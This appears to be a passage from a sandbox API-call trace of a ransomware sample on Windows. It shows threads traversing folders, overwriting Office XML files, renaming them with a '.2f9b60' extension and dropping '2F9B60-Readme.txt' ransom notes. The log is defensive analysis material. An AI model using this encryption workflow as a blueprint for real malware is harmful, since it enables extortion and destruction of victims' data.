dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd14 [0244.023] WriteFile (hFile=0xd14, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f26fbf0, lpOverlapped=0x0) Thread: id = 1939 os_tid = 0x1114 [0134.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9320 [0134.880] wcscpy (in: _Dest=0x1ced9320, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" [0134.880] wcscat (in: _Dest=0x1ced9320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\" [0134.880] wcscat (in: _Dest=0x1ced9320, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*" [0134.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce593b0 [0134.880] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8592d0 [0134.901] wcscmp (_String1=".", _String2=".") returned 0 [0134.901] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.901] wcscmp (_String1="..", _String2=".") returned 1 [0134.902] wcscmp (_String1="..", _String2="..") returned 0 [0134.902] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0134.902] wcscmp (_String1="deployJava1.dll", _String2=".") returned 1 [0134.902] wcscmp (_String1="deployJava1.dll", _String2="..") returned 1 [0134.902] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0134.902] wcscmp (_String1="npdeployJava1.dll", _String2=".") returned 1 [0134.902] wcscmp (_String1="npdeployJava1.dll", _String2="..") returned 1 [0134.902] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0134.902] FindClose (in: hFindFile=0x1b8592d0 | out: hFindFile=0x1b8592d0) returned 1 [0134.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce593b0) returned 1 [0134.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0134.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 Thread: id = 1940 os_tid = 0x1118 [0134.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd")) returned 0x20 [0134.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd", dwFileAttributes=0x20) returned 1 [0135.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cd0 [0135.745] GetFileSizeEx (in: hFile=0x1cd0, lpFileSize=0x2e86fc20 | out: lpFileSize=0x2e86fc20*=1159) returned 1 [0135.745] SetFilePointerEx (in: hFile=0x1cd0, liDistanceToMove=0x483, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.745] ReadFile (in: hFile=0x1cd0, lpBuffer=0x2e86fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e86fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2e86fba0*, lpNumberOfBytesRead=0x2e86fbe8*=0x4, lpOverlapped=0x0) returned 1 [0135.751] SetFilePointerEx (in: hFile=0x1cd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0135.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.751] NtQuerySystemTime (in: CurrentTime=0x2e86fae0 | out: CurrentTime=0x2e86fae0*=132462177410002000) returned 0x0 [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x72991391 [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x62deda0 [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x61fe8fbb [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x7629ba4a [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x75252c3d [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x1c933dfc [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x5220c28b [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x5e3f9d3d [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x561503ff [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x272f56ef [0135.751] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x47f4e027 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x2e738914 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x65327d5d [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x3e3445eb [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x7833aa20 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x39b251f2 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x40e48102 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x2a5a7734 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x3772c846 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x343866b2 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x52edf11c [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x4a0d33cf [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x3e0aa13a [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x713c9f81 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x3cb059e3 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x41b87200 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x37da8567 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x4fc4b8bc [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x1c19e490 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0x723ee23 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0xc2eb238 [0135.752] RtlRandomEx (in: Seed=0x2e86fad0 | out: Seed=0x2e86fad0) returned 0xffe8853 [0135.763] ReadFile (in: hFile=0x1cd0, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x487, lpNumberOfBytesRead=0x2e86fad0, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x2e86fad0*=0x487, lpOverlapped=0x0) returned 1 [0135.763] SetFilePointerEx (in: hFile=0x1cd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.764] WriteFile (in: hFile=0x1cd0, lpBuffer=0x2039cd00*, nNumberOfBytesToWrite=0x487, lpNumberOfBytesWritten=0x2e86fad4, lpOverlapped=0x0 | out: lpBuffer=0x2039cd00*, lpNumberOfBytesWritten=0x2e86fad4*=0x487, lpOverlapped=0x0) returned 1 [0135.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0135.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0135.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2039cd00) returned 1 [0135.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203990f0) returned 1 [0135.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0135.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0135.789] SetFilePointerEx (in: hFile=0x1cd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.789] WriteFile (in: hFile=0x1cd0, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e86fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2e86fbf0*=0x124, lpOverlapped=0x0) returned 1 [0135.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0135.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867bc0 [0135.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0135.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0135.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ff30 [0135.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0135.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636b0 [0135.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202636b0) returned 1 [0135.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0135.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0135.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1ced9240 [0135.802] sprintf (in: _Dest=0x1ced9240, _Format="%c%c" | out: _Dest="b5") returned 2 [0135.802] sprintf (in: _Dest=0x1ced9242, _Format="%c%c" | out: _Dest="fe") returned 2 [0135.802] sprintf (in: _Dest=0x1ced9244, _Format="%c%c" | out: _Dest="10") returned 2 [0135.802] sprintf (in: _Dest=0x1ced9246, _Format="%c%c" | out: _Dest="87") returned 2 [0135.802] sprintf (in: _Dest=0x1ced9248, _Format="%c%c" | out: _Dest="c6") returned 2 [0135.802] sprintf (in: _Dest=0x1ced924a, _Format="%c%c" | out: _Dest="4d") returned 2 [0135.802] sprintf (in: _Dest=0x1ced924c, _Format="%c%c" | out: _Dest="be") returned 2 [0135.803] sprintf (in: _Dest=0x1ced924e, _Format="%c%c" | out: _Dest="b7") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9250, _Format="%c%c" | out: _Dest="4a") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9252, _Format="%c%c" | out: _Dest="a8") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9254, _Format="%c%c" | out: _Dest="7b") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9256, _Format="%c%c" | out: _Dest="04") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9258, _Format="%c%c" | out: _Dest="55") returned 2 [0135.803] sprintf (in: _Dest=0x1ced925a, _Format="%c%c" | out: _Dest="84") returned 2 [0135.803] sprintf (in: _Dest=0x1ced925c, _Format="%c%c" | out: _Dest="de") returned 2 [0135.803] sprintf (in: _Dest=0x1ced925e, _Format="%c%c" | out: _Dest="a3") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9260, _Format="%c%c" | out: _Dest="a0") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9262, _Format="%c%c" | out: _Dest="75") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9264, _Format="%c%c" | out: _Dest="7d") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9266, _Format="%c%c" | out: _Dest="db") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9268, _Format="%c%c" | out: _Dest="85") returned 2 [0135.803] sprintf (in: _Dest=0x1ced926a, _Format="%c%c" | out: _Dest="0d") returned 2 [0135.803] sprintf (in: _Dest=0x1ced926c, _Format="%c%c" | out: _Dest="8b") returned 2 [0135.803] sprintf (in: _Dest=0x1ced926e, _Format="%c%c" | out: _Dest="a3") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9270, _Format="%c%c" | out: _Dest="eb") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9272, _Format="%c%c" | out: _Dest="64") returned 2 [0135.803] sprintf (in: _Dest=0x1ced9274, _Format="%c%c" | out: _Dest="15") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9276, _Format="%c%c" | out: _Dest="3f") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9278, _Format="%c%c" | out: _Dest="72") returned 2 [0135.804] sprintf (in: _Dest=0x1ced927a, _Format="%c%c" | out: _Dest="a6") returned 2 [0135.804] sprintf (in: _Dest=0x1ced927c, _Format="%c%c" | out: _Dest="a6") returned 2 [0135.804] sprintf (in: _Dest=0x1ced927e, _Format="%c%c" | out: _Dest="69") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9280, _Format="%c%c" | out: _Dest="c3") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9282, _Format="%c%c" | out: _Dest="d4") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9284, _Format="%c%c" | out: _Dest="e1") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9286, _Format="%c%c" | out: _Dest="e9") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9288, _Format="%c%c" | out: _Dest="13") returned 2 [0135.804] sprintf (in: _Dest=0x1ced928a, _Format="%c%c" | out: _Dest="08") returned 2 [0135.804] sprintf (in: _Dest=0x1ced928c, _Format="%c%c" | out: _Dest="63") returned 2 [0135.804] sprintf (in: _Dest=0x1ced928e, _Format="%c%c" | out: _Dest="c1") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9290, _Format="%c%c" | out: _Dest="c4") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9292, _Format="%c%c" | out: _Dest="a9") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9294, _Format="%c%c" | out: _Dest="c7") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9296, _Format="%c%c" | out: _Dest="f7") returned 2 [0135.804] sprintf (in: _Dest=0x1ced9298, _Format="%c%c" | out: _Dest="ff") returned 2 [0135.804] sprintf (in: _Dest=0x1ced929a, _Format="%c%c" | out: _Dest="fd") returned 2 [0135.805] sprintf (in: _Dest=0x1ced929c, _Format="%c%c" | out: _Dest="0c") returned 2 [0135.805] sprintf (in: _Dest=0x1ced929e, _Format="%c%c" | out: _Dest="07") returned 2 [0135.805] sprintf (in: _Dest=0x1ced92a0, _Format="%c%c" | out: _Dest="11") returned 2 [0135.805] sprintf (in: _Dest=0x1ced92a2, _Format="%c%c" | out: _Dest="b3") returned 2 [0135.805] RtlInitAnsiString (in: DestinationString=0x2e86fc68, SourceString="b5fe1087c64dbeb74aa87b045584dea3a0757ddb850d8ba3eb64153f72a6a669c3d4e1e9130863c1c4a9c7f7fffd0c0711b3" | out: DestinationString="b5fe1087c64dbeb74aa87b045584dea3a0757ddb850d8ba3eb64153f72a6a669c3d4e1e9130863c1c4a9c7f7fffd0c0711b3") [0135.805] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e86fc38, SourceString="b5fe1087c64dbeb74aa87b045584dea3a0757ddb850d8ba3eb64153f72a6a669c3d4e1e9130863c1c4a9c7f7fffd0c0711b3", AllocateDestinationString=1 | out: DestinationString="b5fe1087c64dbeb74aa87b045584dea3a0757ddb850d8ba3eb64153f72a6a669c3d4e1e9130863c1c4a9c7f7fffd0c0711b3") returned 0x0 [0135.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0135.805] wcscat (in: _Dest=0x1193e0, _Source="b5fe1087c64dbeb74aa87b045" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\b5fe1087c64dbeb74aa87b045") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\b5fe1087c64dbeb74aa87b045" [0135.805] wcscat (in: _Dest=0x1193e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\b5fe1087c64dbeb74aa87b045.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\b5fe1087c64dbeb74aa87b045.2f9b60" [0135.805] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\b5fe1087c64dbeb74aa87b045.2f9b60", NtPathName=0x2e86fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\b5fe1087c64dbeb74aa87b045.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776770 [0135.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0135.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdaf0) returned 1 [0135.808] NtQueryInformationFile (in: FileHandle=0x1cd0, IoStatusBlock=0x2e86fc78, FileInformation=0x2e86fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e86fc78, FileInformation=0x2e86fc88) returned 0x0 [0135.808] NtSetInformationFile (FileHandle=0x1cd0, IoStatusBlock=0x2e86fc78, FileInformation=0x2e86fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0135.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0135.810] FlushFileBuffers (hFile=0x1cd0) returned 1 [0138.535] CloseHandle (hObject=0x1cd0) returned 1 [0138.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050bb60 [0138.636] wcscpy (in: _Dest=0x2050bb60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0138.636] wcscat (in: _Dest=0x2050bb60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" [0138.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt")) returned 0xffffffff [0138.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e80 [0139.183] WriteFile (in: hFile=0x1e80, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2e86fb30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2e86fb30*=0xba9, lpOverlapped=0x0) returned 1 [0139.190] CloseHandle (hObject=0x1e80) returned 1 [0139.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bb60) returned 1 [0139.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278a70) returned 1 Thread: id = 1941 os_tid = 0x111c [0135.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd")) returned 0x20 [0135.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd", dwFileAttributes=0x20) returned 1 [0135.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cc0 [0135.731] GetFileSizeEx (in: hFile=0x1cc0, lpFileSize=0x2f34fca0 | out: lpFileSize=0x2f34fca0*=1493) returned 1 [0135.731] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x5d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.731] ReadFile (in: hFile=0x1cc0, lpBuffer=0x2f34fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f34fc68, lpOverlapped=0x0 | out: lpBuffer=0x2f34fc20*, lpNumberOfBytesRead=0x2f34fc68*=0x4, lpOverlapped=0x0) returned 1 [0135.872] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0135.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0135.873] NtQuerySystemTime (in: CurrentTime=0x2f34fb60 | out: CurrentTime=0x2f34fb60*=132462177411094000) returned 0x0 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x58ff5bc2 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x33f0d367 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x20c41b01 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x5f8d0393 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x1e3f46e6 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x1a5e62d5 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x651bfd3f [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x2b231db [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0xfb75579 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x60026518 [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x63900e7f [0135.873] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x718daf [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x2c9eb8d [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x1761fdc8 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x56851756 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x255d0cc6 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0xf38c7cd [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x6de81b77 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x62732f2b [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0xf00f33f [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x5f86f16c [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x682ce0fb [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x4883061e [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x66f85fd [0135.874] RtlRandomEx 